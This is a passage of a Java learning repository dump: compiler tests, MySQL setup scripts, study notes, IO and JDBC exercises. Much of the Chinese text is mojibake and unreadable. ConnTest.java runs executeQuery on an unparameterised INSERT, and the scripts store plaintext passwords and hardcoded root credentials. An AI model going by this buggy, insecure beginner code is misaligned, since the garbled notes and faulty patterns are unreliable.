bos.toByteArray());\n\t\t\t\t}\n\t\t\t};\n\t\t}\n\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_java_compiler/src/test/java/com/jun/plugin/compiler/JavaStringCompilerTest.java",
    "content": "package com.jun.plugin.compiler;\n\nimport static org.junit.Assert.*;\n\nimport java.lang.reflect.Method;\nimport java.util.Map;\n\nimport org.junit.Before;\nimport org.junit.Test;\n\nimport com.jun.plugin.compiler.JavaStringCompiler;\nimport com.jun.plugin.on.the.fly.BeanProxy;\nimport com.jun.plugin.on.the.fly.User;\n\npublic class JavaStringCompilerTest {\n\n\tJavaStringCompiler compiler;\n\n\t@Before\n\tpublic void setUp() throws Exception {\n\t\tcompiler = new JavaStringCompiler();\n\t}\n\n\tstatic final String SINGLE_JAVA = \"/* a single java class to one file */  \"\n\t\t\t+ \"package on.the.fly;                                            \"\n\t\t\t+ \"import com.itranswarp.on.the.fly.*;                            \"\n\t\t\t+ \"public class UserProxy extends User implements BeanProxy {     \"\n\t\t\t+ \"    boolean _dirty = false;                                    \"\n\t\t\t+ \"    public void setId(String id) {                             \"\n\t\t\t+ \"        super.setId(id);                                       \"\n\t\t\t+ \"        setDirty(true);                                        \"\n\t\t\t+ \"    }                                                          \"\n\t\t\t+ \"    public void setName(String name) {                         \"\n\t\t\t+ \"        super.setName(name);                                   \"\n\t\t\t+ \"        setDirty(true);                                        \"\n\t\t\t+ \"    }                                                          \"\n\t\t\t+ \"    public void setCreated(long created) {                     \"\n\t\t\t+ \"        super.setCreated(created);                             \"\n\t\t\t+ \"        setDirty(true);                                        \"\n\t\t\t+ \"    }                                                          \"\n\t\t\t+ \"    public void setDirty(boolean dirty) {                      \"\n\t\t\t+ \"        this._dirty = dirty;                                   \"\n\t\t\t+ \"    }                                                          \"\n\t\t\t+ \"    public boolean isDirty() {                                 \"\n\t\t\t+ \"        return this._dirty;                                    \"\n\t\t\t+ \"    }                                                          \"\n\t\t\t+ \"}                                                              \";\n\n\t@Test\n\tpublic void testCompileSingleClass() throws Exception {\n\t\tMap<String, byte[]> results = compiler.compile(\"UserProxy.java\", SINGLE_JAVA);\n\t\tassertEquals(1, results.size());\n\t\tassertTrue(results.containsKey(\"on.the.fly.UserProxy\"));\n\t\tClass<?> clazz = compiler.loadClass(\"on.the.fly.UserProxy\", results);\n\t\t// get method:\n\t\tMethod setId = clazz.getMethod(\"setId\", String.class);\n\t\tMethod setName = clazz.getMethod(\"setName\", String.class);\n\t\tMethod setCreated = clazz.getMethod(\"setCreated\", long.class);\n\t\t// try instance:\n\t\tObject obj = clazz.newInstance();\n\t\t// get as proxy:\n\t\tBeanProxy proxy = (BeanProxy) obj;\n\t\tassertFalse(proxy.isDirty());\n\t\t// set:\n\t\tsetId.invoke(obj, \"A-123\");\n\t\tsetName.invoke(obj, \"Fly\");\n\t\tsetCreated.invoke(obj, 123000999);\n\t\t// get as user:\n\t\tUser user = (User) obj;\n\t\tassertEquals(\"A-123\", user.getId());\n\t\tassertEquals(\"Fly\", user.getName());\n\t\tassertEquals(123000999, user.getCreated());\n\t\tassertTrue(proxy.isDirty());\n\t}\n\n\tstatic final String MULTIPLE_JAVA = \"/* a single class to many files */   \"\n\t\t\t+ \"package on.the.fly;                                            \"\n\t\t\t+ \"import java.util.*;                                            \"\n\t\t\t+ \"public class Multiple {                                        \"\n\t\t\t+ \"    List<Bird> list = new ArrayList<Bird>();                   \"\n\t\t\t+ \"    public void add(String name) {                             \"\n\t\t\t+ \"        Bird bird = new Bird();                                \"\n\t\t\t+ \"        bird.name = name;                                      \"\n\t\t\t+ \"        this.list.add(bird);                                   \"\n\t\t\t+ \"    }                                                          \"\n\t\t\t+ \"    public Bird getFirstBird() {                               \"\n\t\t\t+ \"        return this.list.get(0);                               \"\n\t\t\t+ \"    }                                                          \"\n\t\t\t+ \"    public static class StaticBird {                           \"\n\t\t\t+ \"        public int weight = 100;                               \"\n\t\t\t+ \"    }                                                          \"\n\t\t\t+ \"    class NestedBird {                                         \"\n\t\t\t+ \"        NestedBird() {                                         \"\n\t\t\t+ \"            System.out.println(list.size() + \\\" birds...\\\");   \"\n\t\t\t+ \"        }                                                      \"\n\t\t\t+ \"    }                                                          \"\n\t\t\t+ \"}                                                              \"\n\t\t\t+ \"/* package level */                                            \"\n\t\t\t+ \"class Bird {                                                   \"\n\t\t\t+ \"    String name = null;                                        \"\n\t\t\t+ \"}                                                              \";\n\n\t@Test\n\tpublic void testCompileMultipleClasses() throws Exception {\n\t\tMap<String, byte[]> results = compiler.compile(\"Multiple.java\", MULTIPLE_JAVA);\n\t\tassertEquals(4, results.size());\n\t\tassertTrue(results.containsKey(\"on.the.fly.Multiple\"));\n\t\tassertTrue(results.containsKey(\"on.the.fly.Multiple$StaticBird\"));\n\t\tassertTrue(results.containsKey(\"on.the.fly.Multiple$NestedBird\"));\n\t\tassertTrue(results.containsKey(\"on.the.fly.Bird\"));\n\t\tClass<?> clzMul = compiler.loadClass(\"on.the.fly.Multiple\", results);\n\t\t// try instance:\n\t\tObject obj = clzMul.newInstance();\n\t\tassertNotNull(obj);\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_java_compiler/src/test/java/com/jun/plugin/on/the/fly/BeanProxy.java",
    "content": "package com.jun.plugin.on.the.fly;\n\n/**\n * Sample interface.\n * \n * @author michael\n */\npublic interface BeanProxy {\n\n\tvoid setDirty(boolean dirty);\n\n\tboolean isDirty();\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_java_compiler/src/test/java/com/jun/plugin/on/the/fly/User.java",
    "content": "package com.jun.plugin.on.the.fly;\n\n/**\n * Sample class as JavaBean.\n * \n * @author michael\n */\npublic class User {\n\n\tprivate String id;\n\tprivate String name;\n\tprivate long created;\n\n\tpublic String getId() {\n\t\treturn id;\n\t}\n\n\tpublic void setId(String id) {\n\t\tthis.id = id;\n\t}\n\n\tpublic String getName() {\n\t\treturn name;\n\t}\n\n\tpublic void setName(String name) {\n\t\tthis.name = name;\n\t}\n\n\tpublic long getCreated() {\n\t\treturn created;\n\t}\n\n\tpublic void setCreated(long created) {\n\t\tthis.created = created;\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/doc/db_OA.sql",
    "content": "drop database if exists db_OA;\ncreate database db_OA;\nuse db_OA;\nset names gbk;\ndrop table if exists employee;\ncreate table employee(id int primary key auto_increment,name varchar(20) ,loginName varchar(20),password varchar(20),groupId int);\ninsert into employee(name,loginName,password,groupId) values (\"\",\"liubei\",\"liubei\",1),(\"ŷ\",\"zhangfei\",\"zhangfei\",2),(\"\",\"guanyu\",\"guanyu\",2);\nselect * from employee;\n\ndrop table if exists loan;\ncreate table loan(id int primary key auto_increment,employeeId int ,title varchar(100),amount double,applyDate datetime,status int);\ninsert into loan(employeeId,title,amount,applyDate,status) values (2,\"\",1500.0000,20090803,1),(2,\"\",5000.0000,20090804,2),(3,\"\",10000.0000,20090804,0),(1,\"дͻ\",1000.0000,20090805,0);\nselect * from loan;\nalter table loan add constraint FK_ID foreign key(employeeId) REFERENCES employee(id);\nalter table loan drop constraint FK_ID;\n#select * from loan where employeeID=(select id from employee where loginName='zhangfei');\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/doc/db_food.sql",
    "content": "drop database if exists db_food;\ncreate database db_food;\nuse db_food;\nset names gbk;\ndrop table if exists t_food;\ncreate table t_food(id int primary key auto_increment,name varchar(30) ,price int );\ninsert into t_food(name,price) values (\"С\",8),(\"ţ\",15),(\"\",8888);\nselect * from t_food;\n\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/doc/db_hotel.sql",
    "content": "drop database if exists db_Hotel;\ncreate database db_Hotel;\nuse db_Hotel;\nset names gbk;\ndrop table if exists roomRate;\ncreate table roomRate(id int primary key auto_increment,roomType varchar(50) ,rate int);\ninsert into roomRate(roomType,rate) values (\"ͷ\",1500),(\"ͷ\",1800),(\"߼׷\",2500);\nselect * from roomRate;\n\ndrop table if exists book;\ncreate table book(id int primary key auto_increment,roomRateId int,roomCount int ,reachDate datetime,leaveDate datetime,contact varchar(30),phoneNo varchar(15));\nselect * from book;\nalter table book add constraint FK_ID foreign key(roomRateId) REFERENCES roomRate(id);\n#select * from book where roomRateId=(select id from roomRate where loginName='zhangfei');\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/doc/db_teacher.sql",
    "content": "drop database if exists db_crud;\ncreate database db_crud;\nuse db_crud;\nset names gbk;\ndrop table if exists t_crud;\ncreate table t_crud(operator_id int primary key auto_increment,name varchar(30) ,password varchar(30) ,status int(11));\nselect * from t_crud;"
  },
  {
    "path": "jun_java_plugins/jun_javase/doc/db_user.sql",
    "content": "drop database if exists db_user;\ncreate database db_user;\nuse db_user;\nset names gbk;\ndrop table if exists t_user;\ncreate table t_user(id int primary key auto_increment,username varchar(30) ,password varchar(30) ,state boolean default true);\ninsert into t_user(username,password,state) values (\"\",\"abcabc\",true),(\"\",\"abcabc\",true),(\"\",\"abcabc\",true);\nselect * from t_user;\n\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/doc/java基础.txt",
    "content": "1ͼСbyte1Bshort2Bint4Blong8Bfloat4Bdouble8Bchar2Bboolean\n\tbyteȡֵΧ-128127\n\tintȡֵΧ2-31η231η\n\tshortlongڼĬϴ洢ΪintͣbyteshortcharĬתint\n\tfloat͸ֵʱf\n\tbooleanֻtruefalseֵ\n2תǿתʽת;Զ߾ת߾;תʧȣλضϣ;߾ʱ;ԶתΪ߾ȣ\n\t\n\tbyte b=127;b+=1;syso(-128);\n3ʶĸдĸ»߿ͷʹշĸ»߿ͷ֪⣻\n\t壺--ֵ int number=5;//ʼ ֵ;\n\tע⣺ֲʼ֮ʹ\n\t򣨱պϵĴڣ\n4+-*/%\n\tע⣺1+1.0=2.0;\n\tӣ-1%2=-1\n\tӣ4%2=0\n5λ>>,<<,>>>,<<<\n\tԶƽвϵͳڲȽתΪƣٽλ\n\t>>>޷㣬λ1λ0λ\n6߼&&||!\n\t߱ǲ͵жʽֻΪtruefalse\n\t&&||ڶ·|&ڶ·\n\tӣint a=10;boolean b=a++||++a;syso(a);//a=11;\n\tӣint a=10;boolean b=a++|++a;syso(a);//a=12;\n7Ƚ><=====\n\t=ڸֵint a=3;//3ֵa\n8Լi++i--++i--i\n\ti++Լӣ++iԼ\n\tע⣺i++;ʼն+1\n\tӣint a=3;b=(++a)+(a++)+a;syso(a);syso(b);//a=5;b=13;\n9Ŀӣa>b?a:b;\n10Math.random*m+n[n,m+n)֣֮//루Scanner scan=new Scaner(System.in);int number=scan.nextInt();\n11if-elseswitch\n\tif(жϡboolean){ִ}\n\tif(){}else{};\n\tif(){}else if(){}else{};//\n\tif-elseǶ׶if-elseע⣺ifelseƥ䣻\n\tӣif(a>0){if(a>10){}else{}}else{if(){}else{}};\n\tswitch(ʽ){case 1break;case 2breakcase 3default};//ʽǷĳƥ֮\n\tע⣺switchbreakcontinueŻһֱƥ䣻switchʽint͡charͻStringͣJDK1.7ַ֧֮\n\tifʺжϣswitchʺϹ̶ֵƥ䣻\n\tеswitchif-elseʹ滻֮\n12ѭ䣺forwhiledo-while\n\tfor(ʼֵ;ж;){ִ}\n\tfor()еĳʼֵ䶼ʡԣfor(;ж;){}for(;;){ִ}//䶼ʡԹѭ\n\tfor(int i:arr){};//ǿforѭforEach飻\n\twhile(ʽ){ִ};//ʽֻΪtruefalse\n\tdo{ִ}while(ʽ);//ִdoе飬жϣִdoе䣻\n\t˫forѭѭУڲѭУ\n\tforѭ֪ѭѭʼͽȷ䣻\n\twhileڲȷѭ䣻\n13̿ƣbreakǰѭcontinueѭ\n\t    ˫forѭѭʹbreakʱڲѭ\n\t    return֮䲻ִУ\n14װʶ  {}//static int fn(int m,int n){};\n\t  ûзֵʹvoidؼ֣\n\t  أͬͻͬݵ÷ͻ߸ͬʵֲͬĹܣ\n15飨ࣩ\n\t1һάͶά飬Ķ壬õintַ飻һֻܴһ͵ݣ//int[] arr={1,2,3};int[] arr=new int[]{1,2,3};int[] arr=[3];\n\t\tά//int[][] arr=[3][2];int[][] arr={{1,2},{3,4},{5,6}};\n\t2ĳ÷:\n\t\tlength();//arr.length arrĳ;\n\t\tfill();//Arrays.fill(arr,fromIndex,toIndex,value);valueֵarr[formIndex,endIndex)Χڵֵ\n\t\t     //fromIndex,toIndexʡԣʾvalueֵ飻\n\t\tsort();//Arrays.sort(arr)ֵ;\n\t\tcopyOf();//Arrays.copyOf(arr,length);arrΪҪƵ飬lengthΪƺĳȣĳȴԭarr0䣻\n\t\tcopyOfRange();//Arrays.copyOf(arr,fromIndextoIndex);arr[fromIndex,toIndex)Χ֮ڣ\n\t\tbinarySearch();//Arrays.binarySearch(arr,start,end,key)arr[start,end)Χkeyֵkeyֵ򷵻򷵻-1(޸ֵصĲǸ)\n\t\t\t      //startendʡԣʾ鷶Χkeyֵ\n\t\t\t     //ʹöַ飬ʹbinarySerachѯ\n\t\tsystem.arraycopy(arr0,start1,arr1,start1,length);//ֵarr0arr1arr0start1λÿʼƣƳΪlengtharr1ʱstart1λÿʼ\n\t3ȡֵСֵ\n\t4\n\t\tؼ䣺ֱarr[i]=arr.length-i-1\n\t\t\t  ʹмֵβarr[i]=arr[arr.length-i-1]\n\t5ȡ\n\t6\n\t\tؼ䣺ð:arr[i]arr[i+1]ȽϽλã\n\t\t\t  ֱѡ:arr[i]arr[j]ȽϽλã\n\t7źвֵ֤˳򲻱䣻\n\t\tؼ䣺i<index:arrNew[i]=arr[i];\n\t\t\t  i==index:arrNew[i+1]=insertNumber;\n\t\t\t  i>index:arrNew[i]=arr[i-1];\n\t8άת\n\t\tؼ䣺arrNew[i][j]=arrOld[j][arrOld[0].length-i-1];\n16ַࣩ\n\t1ַĶ;//String str=\"abc\";\n\t2ַʹ+ַ\n\t\tע⣺ʹͽʱϵͳὫЩֱתΪַʹ(+)źӷ(+)ʱҪע⣻\n\t\tע⣺ɹַ䳤ʱ̶ģǲܸı(м)ʹ+ӷӵַµString;\n\t2ַĳ÷length();//str.length();ַstrĳȣ\n\t\tcontains();//contains(\"abc\")ֵΪtruefalseַǷabcַ\n\t\tindexOf();//indexOf(\"ab\");ظַַ״γֵλãûм⵽򷵻-1\n\t\tlastIndexOf();//ַָһγֵλãûиֵ򷵻-1\n\t\tcharAt();//0ʼֵַָcharͽգchar str2=str.char(4);ַΧᱨԽ\n\t\tsubstring(beginIndex,endIndex);//str.substring(0,3);ȡstrַ[0,3)ΧַûendIndexbeginIndexһֱȡַβ\n\t\ttrim();//ȥַβĿո񣬲ȥмĿո\n\t\treplace();//replace(char oldChar,newChar);newChar滻ַеoldChar(oldCharַжĻȫ滻)\n\t\tstartsWith();//str.startsWith(\"abc\");жַǷַabcʼ\n\t\tendsWith();//str.endsWith(\"abc\");жַǷַabcβ\n\t\tequals();//str.equals(str2),ȽֵַǷַͬǶ󣬲ʹ\"==\"жϣ\n\t\tstr.equalsIgnreCase();//ȽֵַǷͬԴСд;\n\t\tsplit()//str.split(\"\\\\.\"); . Ϊַַַָָָգ\n\t\t\t//ӣString[] strArray=str.split(\"\\\\.\");\n\t3֤жϳԼԱ//Ͷһװ࣬װкܶ෽ʵ֮תP150-158\n\t4ʽʹʽжַǷĳһʽ(ʵ֤ûȹ);//P101;"
  },
  {
    "path": "jun_java_plugins/jun_javase/doc/java对象基础.txt",
    "content": "һࣺ\n\tʼֵԱ\n\t1ڴ䣺\n\t1Ա\n\t2Ա\n\t3Ȩη\n\t4ֲ\n\t5캯:\n\t6thisؼ:\n\t7̬Ա\n\t8ʹֵʹֵ\n\t9̳У\n\t9ʵ̣֮Žжĳʼʼ̰ع̣ڴ䣬Ĭִֵֵй\n\t\t9.1ĳʼ̡漰캯1أ10мĲһ£عзֵǰࣨΪCࣩи࣬丸࣬ݹأֱǰϲĳʼǰЩ඼ûбع2ڶΪڴռ䣻3ΪԸĬֵһ㶼0/null/false4ù캯ΪֵԼõֵ5ִй\n\t10ػƣÿļһ.classļ֮ӦļֻڱҪʹʱŻᱻأ\nһ˵classļֻڳʹʱŻᱻأһֻһΣع£ءӣ֤׼ʼʹáжء\nط¼У1newµĶʵ2мػʼʱ3ִʱmain4þ̬Աʱ\n\t\t10.1ؾ̡漰캯1ؽ׶Σ·ȡclassļ.classļеľ̬ԱתΪݽṹڶһjava.lang.ClassΪЩݵķڡ2֤׶Σ֤classļĶϵǰҪ󣻣3׼׶ΣʽΪڴ沢Ĭֵһ㶼0/null/falseעʱڴԾ̬staticεģ4׶Σأ5ʼִĵĸֵԼ̬ݣм̳ʱΪֵԼִиľ̬ݣȻִľ̬֣\n\t11ִй̣\n\t12ؼ֣private/static/finalĸԣ\n\t\t1privateprivateεıԼֻڱбʣ\n\t\t2staticεıͷΪ෽ȫԣڣڶʵڸκʵʵʹ./ʣṩݺͷ̬ĳԱֻܵþ̬ĳԱstaticεķܱд̬йأʹʹͬķԼбͷأǣ˸ľ̬д\n\t\t3finalεıܱı䣨ע淶finalεķܱдfinalε಻ܱ̳УڲıԼɿԱãfinalι췽\n಻Ҫ࣬ʵϸڲҪı䣬ȷŸ಻ᱻչʱΪfinalࣻãֹκμ̳޸ʵ֣иЧ\n\t\t4ע⣺/privateֻڱпɼ޷ʸñ/Ȼ޷Ǹ÷ԱprivateεķʽָΪfinalstatic/final(privatefinal)ǰڰ󶨣ʱѾȷзǺڰ󶨣ɶִֵУ\n\n\n\n\tܽע1ʵһʱûбعҪĲ裺Person p1=new Person();ǰ׼mainmainڵִࣻеPerson p1=new Person();ʱʼʵڹ̣½һPersonPerson p1newʱʼࡣع£شеķǾ̬ΪеԱstaticεıʼֵ0/null/falseȻͷʼΪеԱ϶£ֵţеĻִо̬飨static{}ģеݣͼϡͷϷʼʼʵ󣩣ִеPerson()ʱʼʵ̣ڶзַΪеʵԱûбstaticεеʵҲԱʼֵеʵԱʼֵ֮ٴӵһʵԱʼֵţеĻִйݣִй캯ʵɡβ׶ΣʵĶ󸳸p1\n\t\t2ʵ棺ش롪ԱʼֵԱִֵо̬ݡڴַʵԱʼֵʵԱִֵй캯ʵ֮Ķ󸳸p1\n\t\t3عʵϴʦĲǵ⣬ڱ´staticΣع̣ȰʵעغʵǲͬģĲʵȻżֱ࣬ϡ\n\t\t4м̳йϵʵĲ£ΪԣԱĬֵྲ̬Աִֵ̬Уִֻ̬УøĹ췽ȸķǾ̬Աʼ飬ͨĹ췽Ǿ̬Աʼ飬ִͨ๹췽\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/doc/mysql.sql",
    "content": "show databases;#鿴ϵͳеݿ\ndrop database if exists db_sql;\ncreate database db_sql;#ݿ\nselect database(),verson(),now();\nuse db_sql;\nset names gbk;#ñ\nshow tables;\ndrop table if exists t_food;\ncreate table t_food(id int primary key auto_increment,name varchar(30) ,price int );\ndesc t_food;\n#CRUD\ninsert into t_food(name,price) value (\"ʵ\"30);\ninsert into t_food(name,price) values (\"ʵ\"30),(\"ʵ\"30);\ndelete from t_food where id=2;\nupdate t_food set name=\"ʳ\" where id=2;\nselect * from t_food;\n#\\.·-----ִݿűļ\n#select *\n#from \n#where \n#group by \n#having \n#order by \n# limit ҳ\n#ݿеԼ:\"ܱ֤\"ݿȷ\ncreate table t_food(\nid int primary key auto_increment,#Լ\nname varchar(30) unique not null,#Ψһ \nprice int default '8888',#ĬԼ\nbirthday date,\ncreateDatetime TIMSTAMP default current_timestamp\n);\ndesc t_food;\n\nalter table t_food add column remark varchar(2);\n\nselect id from t_food where id>2;\nselect id from t_food where id>2 and id<6;\nselect id from t_food where id between 1 and 6;#[1,6]\nselect id from t_food where in(1,6);\n\n#ģѯ\nselect name from t_food where name=\"zs\";\nselect name from t_food where name like '';#%ַ----_һַ\n\n#ú\nselect count(id),avg(id),max(id) from t_food;\n#\ncreate table t_user(id int ,name varchar(30) , foreign key(id) references t_food(id) );"
  },
  {
    "path": "jun_java_plugins/jun_javase/doc/work.txt",
    "content": "helloworldjava"
  },
  {
    "path": "jun_java_plugins/jun_javase/pom.xml",
    "content": "<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n\txmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n\txsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n\t<modelVersion>4.0.0</modelVersion>\n\n\t<groupId>io.github.wujun728</groupId>\n\t<artifactId>jun_javase</artifactId>\n\t<version>1.0</version>\n    <build>\n        <plugins>\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-compiler-plugin</artifactId>\n                <version>3.8.1</version>\n                <configuration>\n                    <source>8</source> <!-- 对应你的JDK版本 -->\n                    <target>8</target>\n                    <encoding>UTF-8</encoding> <!-- 强制编译编码为UTF-8 -->\n                </configuration>\n            </plugin>\n        </plugins>\n    </build>\n</project>"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/IO/IOTest.java",
    "content": "package com.jun.plugin.javase.IO;\n\nimport java.io.File;\nimport java.io.FileInputStream;\nimport java.io.FileNotFoundException;\nimport java.io.FileOutputStream;\nimport java.io.IOException;\n\npublic class IOTest {\n\tpublic static void main(String[] args) throws IOException {\n\t\tFile file=new File(\"d:/test/work.txt\");\n\t\tFileOutputStream out=new FileOutputStream(file);\n\t\tbyte buy[]=\"����һͷСë¿.\".getBytes();\n\t\tout.write(buy);\n\t\tout.close();//д��\n\t\t\n\t\t\n\t\tFileInputStream in=new FileInputStream(file);\n\t\tbyte byt[]=new byte[1024];\n\t\tint len = in.read(byt);\n\t\tSystem.out.println(\"�ַ����ȣ�\"+file.length());\n\t\tSystem.out.println(new String(byt,0,len));\n\t\tin.close();\n\t\t\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/IO/IOTest2.java",
    "content": "package com.jun.plugin.javase.IO;\n\nimport java.io.BufferedWriter;\nimport java.io.FileReader;\nimport java.io.FileWriter;\nimport java.io.IOException;\n\npublic class IOTest2 {\n\tpublic static void main(String[] args) throws Exception {\n\t\tFileWriter fw=new FileWriter(\"d:\\\\test\\\\work.txt\",true);\n\t\tfw.write(\"hello\");\n\t\tfw.write(\"world\");\n\t\tfw.write(\"java\");\n\t\tfw.flush();\n\t\tfw.close();//д��\n\t\t\n\t\tFileReader fr=new FileReader(\"d:\\\\test\\\\work.txt\");\n\t\tchar[] ch=new char[1024];\n\t\tint len=0;\n\t\twhile((len=fr.read(ch))!=-1){\n\t\t\tSystem.out.println(new String(ch,0,len));\n\t\t}//��ȡ\n\t\t\n\t\t\n\t\tBufferedWriter bfw=new BufferedWriter(fw);\n\t\tbfw.newLine();\n\t\tbfw.write(\"shfskhjs\");\n\t\tbfw.newLine();\n\t\tbfw.write(\"kgfljhklyj\");\n\t\tbfw.flush();\n\t\tbfw.close();//�������д��\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/IO/IOtest3.java",
    "content": "package com.jun.plugin.javase.IO;\n\nimport java.io.File;\nimport java.io.FileReader;\nimport java.io.FileWriter;\nimport java.io.IOException;\n\npublic class IOtest3 {\n\tpublic static void main(String[] args) throws Exception {\n//\t\tFile file=new File(\"f:\\\\work.txt\");\n\t\tFileWriter fw=new FileWriter(\"e:\\\\work.txt\",true);\n\t\tfw.write(\"hello\");\n\t\tfw.write(\"world\");\n\t\tfw.write(\"java\");\n\t\tfw.flush();\n\t\tfw.close();\n\t\t\n\t\t\n\t\tFileReader frr=new FileReader(\"e:\\\\work.txt\");\n\t\tchar[] chh=new char[1024];\n\t\tint len=0;\n\t\tFileWriter fww=new FileWriter(\"f:\\\\work1.txt\",true);\n\t\twhile((len=frr.read(chh))!=-1){\n\t\t\tfww.write(new String(chh,0,len));\n//\t\t\tSystem.out.println(new String(chh,0,len));\n\t\t}\n\t\tfww.close();\n\t\t\n\t\t\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/JDBCTest/ConnTest.java",
    "content": "package com.jun.plugin.javase.JDBCTest;\n\nimport java.sql.Connection;\nimport java.sql.DriverManager;\nimport java.sql.PreparedStatement;\nimport java.sql.ResultSet;\nimport java.sql.SQLException;\nimport java.sql.Statement;\n\npublic class ConnTest {\n\tpublic static void main(String[] args) {\n\t\tConnection conn=null;\n\t\tPreparedStatement stat=null;\n//\t\tPreparedStatement\n\t\tResultSet rs=null;//������ݿ���������ʱ��\n\t\ttry {\n\t\t\tClass.forName(\"com.mysql.jdbc.Driver\");//�������ݿ�������\n\t\t} catch (ClassNotFoundException e) {\n\t\t\t// TODO Auto-generated catch block\n\t\t\te.printStackTrace();\n\t\t}\n\t\ttry {\n\t\t\t conn=DriverManager.getConnection(\"jdbc:mysql://localhost:3306/db_food\", \"root\",\"root\");\n\t\t\t //����DriverManager���е�getConnection()����������ָ�����ݿ������\n\t\t\t\n\t\t\t //����Connection�ӿ��е�createStatement()��������Statement����Statement��������ã��Ѿ��������ӵĻ����ϣ�����sql���\n\t\t\t String sql=\"insert into t_food(name,price) values (?,?)\";\n\t\t\t stat=conn.prepareStatement(sql);\n\t\t\t //�༭sql���\n\t\t\t rs=stat.executeQuery(sql);\n\t\t\t //����Statement�еķ���executeQuery()ִ��sql��䣬�����ص����Ľ��\n\t\t\t while(rs.next()){\n\t\t\t\tFood food=new Food();\n\t\t\t\tfood.setName(rs.getString(\"name\"));\n\t\t\t\tfood.setPrice(rs.getInt(\"price\"));\n\t\t\t\tSystem.out.println(food.getName()+\",\"+food.getPrice());\n\t\t\t }\n\t\t} catch (SQLException e) {\n\t\t\t// TODO Auto-generated catch block\n\t\t\te.printStackTrace();\n\t\t}\n\t\t\n\t\ttry {\n\t\t\trs.close();\n\t\t} catch (SQLException e) {\n\t\t\t// TODO Auto-generated catch block\n\t\t\te.printStackTrace();\n\t\t}\n\t\t\n\t\ttry {\n\t\t\tstat.close();\n\t\t} catch (SQLException e) {\n\t\t\t// TODO Auto-generated catch block\n\t\t\te.printStackTrace();\n\t\t}\n\t\t\n\t\ttry {\n\t\t\tconn.close();\n\t\t} catch (SQLException e) {\n\t\t\t// TODO Auto-generated catch block\n\t\t\te.printStackTrace();\n\t\t}\n\t\t\n\t\t\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/JDBCTest/Food.java",
    "content": "package com.jun.plugin.javase.JDBCTest;\n\npublic class Food {\n\tprivate int id;\n\tprivate String name;\n\tprivate int price;\n\tpublic int getId() {\n\t\treturn id;\n\t}\n\tpublic void setId(int id) {\n\t\tthis.id = id;\n\t}\n\tpublic String getName() {\n\t\treturn name;\n\t}\n\tpublic void setName(String name) {\n\t\tthis.name = name;\n\t}\n\tpublic int getPrice() {\n\t\treturn price;\n\t}\n\tpublic void setPrice(int price) {\n\t\tthis.price = price;\n\t}\n\t@Override\n\tpublic String toString() {\n\t\treturn \"Food [id=\" + id + \", name=\" + name + \", price=\" + price + \"]\";\n\t}\n\tpublic Food() {\n\t\tsuper();\n\t}\n\t\n\t\n\t\n\t\n\t\n}//�ϸ�����javaBeen��ʽ������ܴ������ݿ�\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/JavaBase/JavaBase.java",
    "content": "package com.jun.plugin.javase.JavaBase;\n\nimport java.util.Arrays;\n\npublic class JavaBase {\n\tpublic static void main(String[] args) {\n\n\t\t/*double sum=0;\n\t\tdouble f=1;\n\t\tfor(int i=1;i<=100;i++){\n\t\t\tf=i;\n\t\t\tif(f%2==0){\n\t\t\t\tf=(-1)*f;\n\t\t\t}\n\t\t\tsum+=1/f;\n\t\t\tSystem.out.println(sum);\n\t\t}\n\t\t\n\t\tint a=3;\n\t\tint b=(a++)+(a++)+a;\n\t\tSystem.out.println(a);\n\t\tSystem.out.println(b);\n\t\t\n\t\tint a=10;\n\t\tSystem.out.println(a++>9|++a>9);\n\t\tSystem.out.println(a);\n\t\t\n\t\t\n\t\tint[] arr={1,2,3,4,5};\n\t\tint[] arr2=Arrays.copyOf(arr, 4);\n\t\tfor(int i:arr2){\n\t\t\tSystem.out.println(i);\n\t\t}\n\t\tSystem.out.println();\n\t\tint num=2;\n\t\tint b=num++;\n\t\tSystem.out.println(num+\",\"+b);*/\n\t\t/*String str=\" 1234567890\";\n\t\tSystem.out.println(str.length());//11\n\t\tSystem.out.println(str.trim().length());//10\n*/\t\t\n\t\t\n\t\t/*int a=3,b=(++a)+(a++)+a;\n\t\tSystem.out.println(a);\n\t\tSystem.out.println(b);*/\n\t\t\n\t\t\n\t\t/*int a=90;int b=90;\n\t\tif(a==b || a>8){System.out.println(\"ok1\");}\n\t\t//System.out.println(b);\n\t\tb--;\n\t\tif(a>b && a>45){System.out.println(\"ok2\");}\n\t\tif(!(a<=b)){System.out.println(\"ok3\");}*/\n\n\t\t\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/SevDay/ArrayAdd.java",
